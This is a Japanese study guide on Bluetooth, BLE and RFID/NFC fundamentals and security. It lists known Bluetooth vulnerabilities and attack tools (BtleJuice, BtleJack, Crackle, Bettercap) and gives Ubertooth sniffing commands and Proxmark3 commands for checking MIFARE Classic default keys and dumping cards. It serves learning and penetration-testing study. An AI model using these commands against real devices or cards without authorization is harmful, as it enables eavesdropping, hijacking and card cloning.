    • PINペアリング … 数字で最大16桁の暗証コードを打ち込むことで認証する
  • BLEのペアリング
    • Legacyペアリング(LE Legacy Pairing) … BLE4.0で導入されたもので鍵(128Bit)は無線で平文交換される
    • LESCペアリング(LE Secure Connections) … BLE4.2以降で導入。鍵は有線で公開鍵暗号方式を利用し交換される

ボンディング

ペアリングで交換した鍵を保存し次同じ相手と接続するときはペアリングせずに前回の鍵を再利用するもの。

1.2. BLEの基礎知識

1.2.1. BLEとは

Bluetooth Low Energy(BLE)は省電力で動作するBluetooth通信の規格。 バージョン4.0から実装された。

BLEはiPhoneをはじめとしたスマートフォンを筆頭に、その性能を活かし、ビーコンと呼ばれる小型のセンサーなどにも活用されている。 具体的にはスマートIoTデバイス、フィットネスモニター機器、キーボードなど、主にバッテリー駆動のアクセサリーなどでよく使われてる

1.2.2. BLEの通信方式

BLEの各種パラメータは以下の通り。

パラメータ
標準規格Bluetooth 4.0以降
周波数帯2.4GHz
変調/拡散GFSK方式/周波数ホッピング
チャネル2MHz帯40チャネル(一部のバージョンでは広告チャネルとデータチャネルが異なる)
通信距離一般的に数メートルから10メートル程度
通信速度125Kbpsから2Mbps(データレートは選択可能)

FSK … デジタル信号を搬送波の周波数偏移に変えて通信する方式

GFSK … 入力信号を正規分布型フィルタを十sて通信利用帯域を抑える方式

またBLEはユニキャスト通信とブロードキャスト通信に対応している。

1.2.3. BLEのセキュリティ認証手法

Legacy Pairingのフェーズ

鍵が交換されるLegacyペアリングのフェーズは以下の通り。

BLESecurity

ペアリングの方法

LegacyペアリングではJust WorksPassKeyOut Of Bandのいずれか1つ、LESCペアリングでは下記4つのいずれか1つが使用可能となっている。

  • Just Works … デバイスの選択のみで双方認証しないもの
    • 特徴: 平文であるため盗聴により暗号鍵(STK)がわかる
    •   最も一般的なペアリングの方法
      
  • PassKey … セントラルが作成した6桁のランダム認証コード
    • 特徴: PassKeyをデバイス側に入力させて認証する
  • Out Of Band … BLE以外(RFIDなど)の通信手段で認証
  • Numeric Comparison … 接続時に毎度ランダムな数字をセントラル/ペリフェラルで表示し同じであるならばボタンを押すなどして認証
    • 特徴: デバイスに表示/入力機能がある場合に使用される

1.2.4. BLEのプロトコルスタック

BLEのアーキテクチャはアプリケーション層ホスト層コントローラ層に分けられる。

BLE

BLEのプロトコルにはATTGAPGATTがある。

またBLEでは属性(アトリビュート)という単位でデータを処理している。 属性は以下内容からなり、属性を複数組み合わせることでGATTデータベースを作成する。

  • Attributeハンドル(2Byte) … 通し番号
  • Attributeタイプ(2or16Byte) … UUIDでService,Characteristicを表す
  • Attribute値(0~512Byte) … アプリケーションレイヤが使用するデータ
  • Attributeパーミッション … Read,Writeの許可(permission)属性

ATT(アトリビュートプロトコル)

ATTは属性(アトリビュート)のやり取りを行うプロトコル。

GAP(汎用アクセスプロファイル)

GAPはアドバタイズメント、通信の役割(セントラル/ペリフェラルなど)など接続確立手順の内容(プロファイル)を表す。

GATT(汎用アクトリビュートプロファイル)

データベースにアクセスするプロトコル(ハッキングには最も重要となる)

1.2.5. GATT

GATTはChracateristicServiceの関連する情報を送受するプロトコル。

  • Chracateristic … READ, WRITE, NOTIFYなどセントラrに公開するデータ処理属性
  • Service … Chracateristicをまとめたラベル(ユーザ利用サービス名)
  • UUID … ChracateristicとServiceの識別番号(16Bit)

1.2.6. BLEのセキュリティ認証手法

Legacy Pairingのフェーズ

鍵が交換されるLegacyペアリングのフェーズは以下の通り。

BLESecurity

Legacy Pairingのペアリングの方法

LegacyペアリングではJust WorksPassKeyOut Of Bandのいずれか1つ、LESCペアリングでは下記4つのいずれか1つが使用可能となっている。

  • Just Works … デバイスの選択のみで双方認証しないもの
    • 特徴: 平文であるため盗聴により暗号鍵(STK)がわかる
    •   最も一般的なペアリングの方法
      
  • PassKey … セントラルが作成した6桁のランダム認証コード
    • 特徴: PassKeyをデバイス側に入力させて認証する
  • Out Of Band … BLE以外(RFIDなど)の通信手段で認証
  • Numeric Comparison … 接続時に毎度ランダムな数字をセントラル/ペリフェラルで表示し同じであるならばボタンを押すなどして認証
    • 特徴: デバイスに表示/入力機能がある場合に使用される

1.2.7. BLEのセキュリティモードとレベル

BLEにはセキュリティモードが2つとそれぞれレベルが設定されている。

  • セキュリティモード1 … ペアリングによる認証/暗号化の有無の組み合わせによる定義
    • レベル1 … ペアリングせずセキュリティ機能なし
    • レベル2 … 認証なしのペアリング/暗号化
    • レベル3 … 認証ありのペアリング/暗号化
    • レベル4 … ペアリングし鍵交換に楕円曲線ディフィー・ヘルマン鍵共有方式(ECDHE方式)を使用し暗号化
  • セキュリティモード2 … データ署名による認証の有無の組み合わせによる定義
    • レベル1 … 認証なしのペアリング/データ署名
    • レベル2 … 認証ありのペアリング/データ署名

なおデータ署名は送信元が検証可能なパケットを送信元におくることを指す(ATTで実装される)

1.3. Bluetooth Classicの基礎知識

1.3.1. Bluetooth Classicとは

Bluetooth ClassicはBluetooth+HSとも呼ばれる24Mbpsの高速通信が可能となるBluetooth通信規格。 高速通信は無線LANの通信方式(PAL)を利用することによって実現している。

ペアリングやプロファイルなどは従来と同じBluetoothの仕様/プロトコル/周波数を用いており、必要に応じて下位のレイヤーを別の通信方式に切り替えるAlternate MAC/PHY(AMP)機能が搭載された。 内部的には低消費電力である従来のBluetoothとの連絡を保ちつつ、大量の通信が必要になった際にはIEEE 802.11無線LANに切り替えるようになっている。

主にワイヤレスヘッドホン、ワイヤレススピーカーなどのオーディオ分野で使用されている

1.3.2. Bluetooth Classicの通信方式

Bluetooth Classic(Bluetooth HF)の各種パラメータは以下の通り。

パラメータ
標準規格IEEE802.15.1
周波数帯2.4GHz
変調/拡散GFSK方式/周波数ホッピング
チャネル2MHz帯40チャネル(データ用: 036, AD用: 3739)
通信距離Classic1: 約100m, Classic2: 約10m, Classic3: 約1m
通信速度125Kbps~24Mbps (実行速度は約10Kbps程度)

またBluetooth Classicはユニキャスト通信に対応している。

1.3.3. Bluetooth Classicのセキュリティモードとレベル

Bluetooth Classicにはモードが4つとそれぞれレベルが設定されている。

  • モード1 … セキュリティ無しのモード
  • モード2 … データ通信時に必要に応じて認証・暗号化を行う
  • モード3 … 接続時に認証・暗号化を行う
  • モード4 … 使用状況に応じて認証・暗号化を行う
    • レベル0 … セキュリティ無し、ユーザー操作なし
    • レベル1 … セキュリティ無し、ユーザー操作あり
    • レベル2 … 暗号あり、認証なし
    • レベル3 … 暗号あり、認証あり
    • レベル4 … 高強度暗号あり、認証あり

なおほぼ全ての Bluetooth classicの製品はモード4として実装されている

2.2 - 2. BlueToothの脆弱性と攻撃ツール

BlueToothの脆弱性と攻撃機

2.1. BlueToothの脆弱性

2.1.1. KNOB攻撃

KNOB攻撃は2019年8月に発表された**暗号化通信の鍵を1Byteにすることで、暗号化通信の鍵を容易に特定することができる****Bluetooth Classicの脆弱性を悪用した攻撃。

この脆弱性を悪用すると、暗号鍵を強制的に1バイトに制限することができてしまうためブルートフォース攻撃によって暗号鍵を容易に特定することが可能になる。 そのため中間者攻撃のリスクがある。

この脆弱性は後にマイクロソフト社やアップル社などからセキュリティパッチが提供された

POC: https://github.com/francozappa/knob

2.1.2. Blueborne

BlueBorne、2017年9月に公表されたBluetoothの脆弱性の総称。

攻撃者がこの脆弱性を悪用すると、ペアリングの仕組みを使わずともデバイスと接続できるようになり、マルウェア感染や乗っ取り、個人情報の窃取などの被害を受ける可能性がある。 脆弱性の発覚後、対応するアップデートが提供された

2.1.3. BlueFrag

BlueFragは2020年2月に報告されたAndroidにおける脆弱性でAndroid 8.0系、8.1系、9.0系での存在が確認された

この脆弱性があるデバイスでBluetoothが有効になっていると、近くの攻撃者がデバイスのMACアドレスを推測し、不正にアクセスすることでデバイスの管理権限を乗っ取ることが可能となる。

なおセキュリティパッチはすでにリリースされた

2.1.4. Apple Bleee

Apple Bleeeは2019年7月に報告されたApple製品におけるBluetoothの脆弱性。 iPhoneなどに実装されているBLEが持つ、常時データの送受信が可能である仕様を悪用したものとなっている。

この脆弱性では攻撃者はターゲットの電話番号やiOSのバージョンなどを盗み見ることができる。 iPhone 5S以降、またはiOS 11以上のiPhoneに関して注意が必要となる。

2.2. BlueToothの操作シェル/セキュリティツール

2.2.1 通常のLinuxコマンド

systemctl start bluetooth

systemctl start bluetoothはBlueTooth機能を有効化するコマンド。 GUI上での起動が安定しないことから使用される。

l2ping

l2ping <MACアドレス>はBluetoothデバイスが通信可能であるかどうかを確認したり、通信の遅延を測定したりすることができるコマンド

2.2.2 BlueZ

BlueZはOSSのBluetoothプロトコルスタック設定/制御ソフトウェア。 シェルからBlueZを操作するコマンドであるhciconfighcitoolhcidumpなどが含まれる。

BlueZ http://www.bluez.org

コマンド説明
hciconfig端末のBluetoothインターフェイス確認
hciconfig <インターフェイス> <up/down>Bluetoothインターフェイスの起動/停止
hcitoolBluetooth機器の検出/スキャン
hcitool lescanビーコンでアドバタイズしているBluetoothをスキャンする
hcitool lecc <MACアドレス>端末とBluetooth機器の接続
hcitool scan既に接続中のBluetoothを確認
hcidumpBluetoothパケットキャプチャ

2.2.3 BtleJuice

BtleJuiceはWebプロキシ利用のBLEの中間者攻撃/リプレイ攻撃用のツール

Github: https://github.com/DigitalSecurity/btlejuice

2.2.4 BtleJack

BtleJackはmicro:bitの利用前提のCLIのBLEハッキングツール。 機能としてはBLEパケットキャプチャ/スニッフィングに対応している。 またジャミングによるハイジャックも可能

micro:bitとは https://sanuki-tech.net/micro-bit/overview/about/

Github: https://github.com/virtualabs/btlejack

2.2.5. Crackle

CrackleはBLE暗号化の復号化を行える、BLEレガシーペアリングに基づいて接続をキャプチャした場合に適したツール。

Github: https://github.com/mikeryan/crackle.git

2.2.3. BetterCap

BLEのデバイスのペネトレーションテストに使用できるツール。

# BLEビーコンのリスニングを開始
sudo bettercap --eval "ble.recon on"
# Wait some time
ble.show # BLEデバイス一覧の表示
ble.enum <MACアドレス> # This will show the service, characteristics and properties supported

# Write data in a characteristic
ble.write <MACアドレス> <UUID> <HEX DATA>
ble.write MACアドレス> ff06 68656c6c6f # Write "hello" in ff0

2.3. UberTooth One

2.3.1. UberTooth Oneとは

UberTooth OneはBluetoothデバイスのセキュリティとプロトコルの解析を行うためのOSSワイヤレスツール。以下のことが可能。

  • Bluetoothモニタリング
  • Bluetoothパケット解析
  • Bleutoothセキュリティのテスト

2.3.2. UberToothを使用する

詳しくはコチラから。

BLEデバイスのスキャン

BLEデバイスは以下コマンドでスキャン可能。

sudo hcitool lescan

BLEデバイスの表示例

D5:AA:D0:41:A3:60 Mi Smart Band 4
78:A5:04:62:71:3D TepHeatB

BLEのスニッフィング

BLEデバイスのスキャンで得たBlueTooth Device Addressを指定することでデバイス間通信をキャプチャできる。

ubertooth-btle -f <BD_ADDR>
ubertooth-btle -f <BD_ADDR> -c <FilePath> #Fileに書き込む場合

WiresharkでBLEをキャプチャする

  1. ターミナルでmkfifo /tmp/pipe
  2. WireSharkを開く
  3. 「キャプチャ=>オプション」を選択
  4. 「Manage Interfaces」を選択
  5. 「新規」を選択し「パイプ」に「/tmp/pipe」と入力
  6. 「保存」「閉じる」
  7. 「/tmp/pipe」を選択して「開始」を選択
  8. ターミナルでubertooth-btle -f -c /tmp/pipeを実行
  9. うまくいかない場合は/tmp/pipeの実行/読み取り権限などを付与

UberToothスペクトルアナライザを使用する

2.4GHz帯を解析するツールであるスペクトラムアナライザを使用できる。

ubertooth-specan-ui

スペクトル

  • 緑色の振幅: 異なるチャネルの複数の 802.11b ネットワークの電波
  • 白い振幅: スキャン中に表示されるビーコン

3 - 3. 無線周波数識別(RFID)基礎

クレジットカード(Mifare A)や交通系(Felica)、入門証などのRFIDに関して

2. 無線周波数識別(RFID)

2.1.1. RFIDの概要

RFID(Radio Frequency Identification)は電波を利用してワイヤレスでICタグなどから情報を読み取ったり送信したりする技術の総称である。
RFIDのシステムはICタグまたはICラベルで構成され、そのタグにはそれが取り付けられているオブジェクトや人についての一意な情報が含まれる。
情報はRFIDリーダーによって読み取られ、高度なソフトウェアによって処理される。

2.1.2. RFIDの基本的な仕組み

RFIDではICタグとRFIDリーダー間での電波の送受信によって情報を読み取ったり書き込んだりすることができる。
基本的には以下のフローが1秒間に何度も行われていることでシステムを実現する。

RFIDにはパッシブ型RFIDアクティブ型RFIDの2種類があり、それぞれ特徴がある。
なお特性上、使用のシェアはパッシブ型RFIDが圧倒的に占める。

RFID

パッシブ型RFID

パッシブ型RFIDは電池が内蔵されておらず、リーダライタからの電力を使用して電波を発信するRFIDタグ(パッシブ型RFIDタグ)を使用したRFIDシステム。
現在の「ICタグ」「RFIDタグ」の主流なもので、交通系カードもこのタイプに当てはまる。
またPassive RFIDのシステムは、低周波(LF)、高周波(HF)、および超高周波(UHF)帯域で動作する。

特徴は以下の通り。

  • 短距離での通信
  • 小型化・薄型化が容易
  • 物理的に破損しない限り半永久的に利用することが可能
  • アクテイブ型RFIDタグより安価

なお動作手順は以下の通り。

  1. RFIDリーダーのアンテナから電波を送信
  2. ICタグのアンテナで電波を受信しICチップが駆動
  3. ICチップ内のコード情報を信号化し、アンテナから送信
  4. RFIDリーダーのアンテナで信号を受信
  5. RFIDリーダーの制御部を介し、モバイル端末やパソコンなどへ情報を転送

アクティブ型RFID

アクティブ型RFIDは電池を内蔵し電波を発し、長距離で通信できRFIDタグ(アクティブ型RFIDタグ)を使用したRFIDシステム。
単純なID情報(識別情報)以外も、タグに各種センサーを搭載することにより付加情報を送信することが可能となっている。 また通信距離も大きく、数十mから数百mとなっている。

またアクティブ型RFIDの読み取りアンテナ(ゲートウェイ)はアクティブ型RFIDタグ信号を受信し、タグ(およびタグが取り付けられているオブジェクト)のリアルタイムの位置を監視することができる。

特徴は以下の通り。

  • 長距離(数十~数百m)での通信
  • バッテリーが内蔵
  • パッシブ型RFIDタグより高価

なお動作手順は常にRFIDタグから読み取りアンテナに送信し続ける形となる。
また日本国内では電波法上無線局扱いなので取り扱いには認定/許可が必要

セミパッシブ型RFID

セミパッシブ型RFIDはパッシブ型RFIDにセンサー機能を付けたタイプのRFIDシステム。
センサーの電源用に電池を使用しているが通信時はリーダからの電力を用いる。

特徴は以下の通り。

  • 長距離(数十m)での通信
  • バッテリーが内蔵
  • パッシブ型RFIDタグより高価

2.1.2. RFIDの周波数帯

RFIDシステムは低周波(LF)、高周波(HF)、および超高周波(UHF)帯域で動作する
電波はこれらの周波数ごとに特性が異なるため、それぞれの用途に使い分けた周波数帯を使用する。

RFID Frequency

中波帯(LF)

LF帯(中波帯)では135KHz未満の周波数を使用する。 使用されるアンテナはコイル型のアンテナで、電磁誘導方式(リーダーとRFIDタグの間に磁界を発生させてデータのやり取りを行う)で行われる。
LF帯では通信距離は通常3~30cm以内と短く(最大50cm)安定した通信が可能。

自動車などのアクセス制御、ペットなどの動物の識別管理、在庫への管理に使用される。

特徴は以下の通り。

  • 通信距離は通常3~30cm
  • 水や金属の影響を受けにくい
  • 読み取り速度は高周波(HF/UHF)よりも遅い

短波帯(HF)

HF帯(短波帯)では13.56MHzの周波数を使用する。
HF帯はLF帯と同じく電磁誘導方式で、水分や金属の影響を比較的受けにくいのが特長。
HF帯では通信距離は5~50cm程度と短く(最大1m)で、読み取り速度もLFに比べて高速となる。

この周波数帯域内には、近距離無線通信(NFC)も含む、さまざまなISO規格がある。

工場などの生産工程における進捗管理や、医療機関で患者が着用するリストバンド、交通系ICカードにも使用されている。

特徴は以下の通り。

  • 通信距離は5~50cm程度
  • LF帯に比べると薄型化・小型化しやすい
  • 1対1でものを認証する用途に適している
  • 読み取り速度もLFに比べて高速

超短波帯(UHF)

UHF帯(超短波帯)では860~920MHzの周波数を使用する。
日本の場合は世界各国で使用可能な周波数帯域は異なり、従来950Mhz帯が使われていたが、2012年の電波法改正後は920MHz帯を使用している。

通信方式にはリーダーとRFIDタグ間でデータのやり取りを行う「電波方式(放射電磁界方式)」で、電磁誘導方式よりも通信距離が長い点が特長となる。
広範囲の読み取りに適しており、複数読み取りの性能が高いといったメリットがある。

アパレル店舗などの在庫管理や、物流倉庫での入出荷管理、棚卸し業務などに適している周波数帯と言える。

LF/HF/UHFまとめ

周波数通信方式特徴通信距離用途
LF帯135KHz以下電磁誘導方式環境に左右されにくい10センチ前後キーレスエントリー
HF帯13.56MHz帯電磁誘導方式水の影響を受けにくい50センチ前後電子マネー、個人認証
UHF帯900MHz帯電波方式通信距離が長い数メートル物流、在庫管理
マイクロ波帯2.45GHz帯電波方式アンテナが小型2メートル前後書類管理

2.1.3. IC/RFタグの基本構造

パッシブ型RFIDのIC/RFタグの構造は中にインレット(またはインレー)が入っているものとなっている。
インレットはICチップとそれに接続したさまざまな形状のアンテナで形成されたものを指す。

IC/RFチップは数μmサイズの非常に小さなもので、その中に、記憶部、電源整流部、送信部、受信部の四つの区分を有し、それぞれが働きを分担して通信を行っている。

インレット

2.1.4. IC/RFタグの種類の分け方

バッテリ搭載有無による分類

バッテリ搭載有無による分類ではパッシブタグ、アクティブタグ、セミアクティブタグの3種類がある。 これは前述のRFIDの種類とほぼ同じ内容の分類となる。
現在、広く一般的に使われているのは、バッテリーを持たないパッシブタグとなっている。

周波数による分類

周波数帯による分類ではUHFタグNFCタグに分けられる。

2.1.5. 周波数分類におけるIC/RFタグの種類

UHFタグ

UHFタグは300MHzから3GHzの周波数帯を用いた電波のことで極超短波とも呼ばれる周波数帯を利用したICタグのこと。
UHF帯RFIDのICタグとして通信に使用されるのは主に920MHzの周波数となる。

NFCタグ

NFCタグは13.56MHzの周波数を用いた近距離無線通信規格に対応したICタグのこと。
交通系カードなどのFelicaや、社員証などで使用されるMIFAREをベースに、互換性を維持するために開発された。

UHFタグと比較して、水分や遮蔽物への耐環境性に優れている。
また、スマートフォンによってはNFCタグを読み取ることができる機種もある。

2.2. LF帯のRFID規格

入室管理などに使用されるRFID規格。

  • 読み取りタイプ: 1対1
  • 周波数:125kHz
  • 通信速度:5~8kbps
  • 通信距離:10cm

2.2.1. ISO 14223(HiTag)

Philipsにより開発された。

2.2.2. ISO 11784(EM)

EM microelectricにより開発された。

2.3. HF帯のRFID規格

2.3.1. ISO 14443

ISO 14443は非接触ICカードの近接型の規格。 現在のRFID主流の規格

  • 読み取りタイプ: 1対1
  • 周波数:13.56MHz
  • 通信速度:106kbps
  • 通信距離:~50cm
国際規格NFC規格名称セキュリティ
ISO/IEC14443TypeAMifareあり/なし
ISO/IEC14443TypeB-あり
ISO14443/IEC18092TypeFFelicaあり

2.3.2. Type A(Mifare)

Mifareの固有IDはUIDと呼ばれる。

  • 変調方式:ASK 100%
  • 使用例:公衆電話ICカード,taspo
  • 符号化方式:ミラー、マンチェスター
  • 開発:Philips(フィリップス)
  • 特徴:世界で最も多く使われている非接触ICカード通信規格

Mifareのメモリ処理

Mifareのメモリはセクタに分かれ、セクタは各ブロックに分かれる。
各セクタは48bit長の暗号鍵(固定メイン鍵)、暗号鍵(補助用の鍵)が与えられ、この2つもしくは固定メイン鍵のみを用いて各領域を暗号化する。

情報の操作は各ブロックに対して読み出し、書き込み、数値の増減が可能となり、これらの可否はアクセス条件で決まる。 なおデータ自体の暗号化は独自のアルゴリズムが使用される。

鍵の用途ケース
固定化メイン鍵のみRFIDリーダ処理などの一般読み書き
2つの暗号鍵カード管理者の手動で行われる処理

Mifare Classic 1Kのメモリ構造

Mifare Classic 1Kの場合は以下のようなメモリ構造となる。

  • 総メモリ1024ByteのEEPROMで構成(実メモリは768Byte)
  • 全体で16セクタ、1セクタ当たり4ブロック、1ブロック16Byte構成
  • セクタ0ブロック0は製造者用ブロック(UID or NUIDなどの読み出し可能カード情報の記録がされている)
  • 各セクタのブロック0から2までがデータブロック、ブロック3はセクタトラック(2つの暗号鍵とアクセス条件が記載)
  • セクタ0のみはブロック1とブロック2がデータブロックとなる

Mifare_1k

工場出荷時は2つの暗号鍵はFFFF FFFF FFFF FFFF、アクセス条件を示すアクセスビットはFF0780となる。

Mifare_1k2

2.3.3. Type B

  • 変調方式:ASK 10%
  • 使用例:マイナンバカード、次世代運転免許
  • 符号化方式:NRZ
  • 開発:Motorola(モトローラ)

2.3.4. Type F(Felica)

日本国内では高いシェア率。 高いセキュリティと高速処理が特徴。 Felicaの固有IDはIDmと呼ばれる。

  • 読み取りタイプ: 1対1

  • 周波数:13.56MHz

  • 通信速度:212kbps

  • 通信距離:10cm

  • 変調方式: ASK 10%

  • 使用例: Suicaなどに使用

  • 符号化方式:マンチェスター

  • 開発:ソニー

2.3.5. ISO 15693

ISO 15693は出入管理用に設計された非接触ICカードの近接型の規格。 読み取り距離が90cm程度まで対応している。

  • 読み取りタイプ: 1対1
  • 周波数:13.56MHz
  • 通信速度:106kbps
  • 通信距離:90cm

2.4. UHF帯のRFID規格

在庫管理などに使用されるRFID規格。

  • 読み取りタイプ: 複数読み取り
  • 周波数:900MHz
  • 通信速度:5~8kbps
  • 通信距離:数m

2.4.1. ISO 18000(Monza)

MonzaはImpinj社により開発された規格。

2.5. RFIDのセキュリティ機能

RFIDのネットワークセキュリティは以下のように実装される。

  • 暗号化通信 * ICカード~リーダライタ間: 共通鍵暗号方式(DES/AES)
  • 公開鍵認証基盤PKI * 電子証明書と秘密鍵のペアの格納

2.5. NFC

2.5.1. NFCとは

NFCは13.56MHzを使用した無線による通信技術規格のこと。
ソニーとNXPセミコンダクターズ(旧フィリップス)がFeliCaやMIFARE(ISO/IEC14443TYPEA)をベースに、互換性を維持するために共同開発した。

基礎となっている国際規格はISO/IEC 18092(NFC IP-1)であり、通信可能距離としては10cm程度の近距離となっている。 またNFC対応のICカードでは、アンテナが電波を受信する際の発生した電力により、通信とデータの書き換えが可能であり電池や電源が不要となっている。

  • 周波数帯: 13.56MHz
  • 通信速度: 100~400Kbit/s
  • 無線到達距離: 10cm

2.5.2.NFCフォーラムにおけるチップ仕様

NFCフォーラムにおけるチップ仕様は以下のように定められている。

規格仕様使用例
ISO/IEC14443 TYPEANFC-Aテレフォンカード、TASPO、Pay Pass等
ISO/IEC14443 TYPEBNFC-Bマイナンバーカード、免許証、パスポート等
SONY FelicaNFC-F交通、電子マネー系( Suica、WAON等)カード
ISO15693NFC-V公共図書館入退室証とスキーパス

2.5.3. NFCの動作モード

カードエミュレーションモード

カードエミュレーションモードではNFCを搭載した機器(携帯電話等)で、NFC-A、NFC-B及びNFC-FのICカード機能を実行することができる。

P2Pモード

P2PモードではNFCを搭載した機器同士で通信を行うことができる。 NFCを搭載した機器同士を近づけてかざすだけで、メール、電話帳、画像、スケジュール、XMLデータなど色々なデータを送受信することができる。

リーダ/ライターモード

リーダ/ライターモードでは、NFCを搭載した機器がリーダ/ライターとしてNFC-A、NFC-B及びNFC-F仕様のICカードの読書きを行うことができる。

2.6. RFIDの開発/解析ツール

2.6.1. Proxmark3

Proxmark3は有名なRFID開発/研究ツール。
HF帯とLF帯のRFIDを使用可能。

Proxmark3

Proxmark3の認識確認(Linux)

lsusbなどで可能(Proxmark3などと書いてあればおk)。

Proxmark3の開始

proxmark3 /dev/ttyACM0 #デフォルトの起動

基本内部コマンド

hw status #ステータス確認
hw version #バージョン確認
hw tune #アンテナ特性の測定
quit #終了

hf search #HF帯カードの識別
lf search #LF帯カードの識別

HF帯RFIDの内部コマンド

  • Mifareを扱うコマンド

コマンドチートシート

hf mf chk --1k -f mfc_default_keys # デフォルトのキーを確認
hf mf fchk --1k --mem # ローカル メモリからデフォルトキーを確認
hf mf dump # MIFARE Classic カードの内容をダンプする